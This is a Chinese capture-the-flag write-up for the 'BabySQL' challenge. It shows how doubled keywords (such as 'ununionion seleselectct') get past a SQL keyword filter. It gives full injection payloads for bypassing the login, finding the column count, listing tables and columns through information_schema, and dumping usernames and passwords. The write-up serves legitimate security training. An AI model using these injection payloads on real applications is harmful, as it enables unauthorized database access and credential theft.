首页 > 数据库 >[极客大挑战 2019]BabySQL

[极客大挑战 2019]BabySQL

时间:2024-11-20 21:29:31浏览次数:1  
标签:极客 BabySQL admin seleselectct 2019 table 报错 ununionion schema

打开页面是一个登录界面,直接用admin’ or 1#试试深浅

回显为:

这里我们分析一下这个报错,near后跟的单引号中的内容为1#' and password='a',那么说明sql语句就是从这里开始语法不正确的,模拟一下正常的sql应该是select * from table where username = 'admin' or 1# password='a'',这样应该是不会报错的,猜测可能是or关键词被过滤了,后面在使用admin' order by 2#这个payload时,报错为right syntax to use near 'der 2#' and password='a'' at line 1更可以验证这一点。

这里我们可以替换or,尝试一下(可以大小写替换,||符号替换,双写替换),这里符号和双写都可以作用,这里先用双写替换绕过,admin' oorr 1#,登录成功

接下来使用union注入手段走流程。先用order by查看列数,admin' oorrder by 2#

这里可以判断order肯定是过了,但是仍然报错,可能是by被过滤了,继续双写,admin' oorrder bbyy 2#,可以登录。最后尝试,得到回显列数为3
admin' union select 1,2,3#找回显列数

可以猜测,select被过滤了,admin' union seleselectct 1,2,3#

union也被过滤了,继续双写,admin' ununionion seleselectct 1,2,3#,这里要把登录名改了,不然会回显正确登录的信息,改为a' ununionion seleselectct 1,2,3#

输入payload:a' ununionion seleselectct 1,database(),group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()#,出现报错

发现where没了,.table之后报错,猜测那之前也有被过滤的关键词,猜测为from,两个都双写,

a' ununionion seleselectct 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

得到数据库为geek,其下的表有b4bsql,geekuser
继续查看列名先看b4bsql,payload为:

a' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#

a' ununionion seleselectct 1,group_concat(username),group_concat(passwoorrd) frfromom b4bsql#

得到flag

标签:极客,BabySQL,admin,seleselectct,2019,table,报错,ununionion,schema
From: https://www.cnblogs.com/abenben/p/18559372

相关文章

  • python: generator IDAL and DAL using sql server 2019
     createIDAL#encoding:utf-8#版权所有2024©涂聚文有限公司#许可信息查看:言語成了邀功盡責的功臣,還需要行爲每日來值班嗎#描述:#Author:geovindu,GeovinDu涂聚文.#IDE:PyCharm2023.1python3.11#OS:windows10#Datetime:2024/......
  • C -- [vs2019] C2440 错误,无法从 const char[] 转换为 char*问题解决
    https://blog.csdn.net/weixin_45525272/article/details/118699716原因新标准中,不能把指针指向一串常量解决方案一:引入[]char*str=“helloworld”;改成:charstr_tmp[]=“helloworld”;char*str=str_tmp;方案二:加constchar*str=“helloworld”;改成:......
  • [RoarCTF 2019]Easy Java
    打开链接映入眼帘的是一个登录窗口用admin'查看一下有没有注入漏洞,回显一直是wrongpassword这个界面到别处找找看有没有线索,我们点击help按钮看看发现有一个help.docx文件未找到报错,这里是get传参,我们试试post的传参,感觉也是比较神经下载到了一个help.docx文件,我们看看是......
  • SIDCHG(在64位Windows上为SIDCHG64)3.0j 是一个命令行工具,用于修改本地计算机的安全标识
    SIDCHGSIDChangeUtility SIDCHG-SID更改工具概述SIDCHG(在64位Windows上为SIDCHG64)3.0j是一个命令行工具,用于修改本地计算机的安全标识符(SID)和计算机名,适用于Windows2022/11/2019/2016/10/8.1/2012R2/8/2012/7/2008R2。它将当前的计算机SID替换为新的随机SID。此外,它......
  • buuctf-[GUET-CTF2019]soul sipse
    小白的第14天~flag奉上:flag{5304}1.下载附件得到一个wav文件,经过一顿尝试无果后百度得知是隐写~2.将其放入kali中,使用steghideextract-sfout.wav指令分离出一个txt1文件,其中是一串下载链接。3.下载得到一个png图片,打开发现出错。将其放入hex中分析,发现文件头中的4......
  • 《民用建筑修缮工程施工标准》(JGJ/T 112-2019),这是当前关于民用建筑修缮的最新国家标准
    《民用建筑修缮工程施工标准》(JGJ/T112-2019),这是当前关于民用建筑修缮的最新国家标准。该标准于2019年发布,对民用建筑的修缮施工提供了详细的指导,涵盖了修缮工程的设计、施工、验收等各个方面,旨在提高修缮工程的质量、安全性和可持续性。《民用建筑修缮工程施工标准》JGJ/T112......
  • 巅峰极客 2023
    easy_Forensic先查看镜像信息,vol.py-fsecret.rawimageinfo再查看进程vol.py-fsecret.raw--profile=Win7SP1x64pslist没什么用再获取文件vol.py-fsecret.raw--profile=Win7SP1x64filescan发现了一个压缩包一个jpg一个txt文本或者直接过滤vol.py-f......
  • [题解]P5687 [CSP-S2019 江西] 网格图
    P5687[CSP-S2019江西]网格图简单来说题目就是给定一个\(n\timesm\)的网格图,同行边权相同,同列边权相同,求该网格图的最小生成树。根据Kruskal算法的贪心思想,我们要优先选择权值尽可能小的行,并将这条边应用于尽可能多的列。列方向同理。为了保证最终生成树的连通性,我们显然要......
  • [RoarCTF 2019]Easy Java 1
    [RoarCTF2019]EasyJava1打开实例发现登录框,尝试万能密码admin'or1=1#后无果注意到登录框下有个help,点击发现文件读取显示文件notfound,文件未找到,怀疑是请求方法问题,尝试POST请求发现能成功下载,确定这道题为任意文件下载打开help.docx,显示看来文件不在这里,根据题目......
  • [GXOI/GZOI2019] 旅行者
    算法\(O(Tn\log^2n)\)对于\(\rm{Subtask}\text{}1\),直接跑\(n\)遍\(\rm{dijkstra}\)就可以,这是\(O(Tn^2\logn)\)的对于\(\rm{Subtask}\text{}1\)的优化:显然的,每次\(\rm{dijkstra}\)只需要跑到离自己最近的感兴趣的点即可,因为后面的不可能......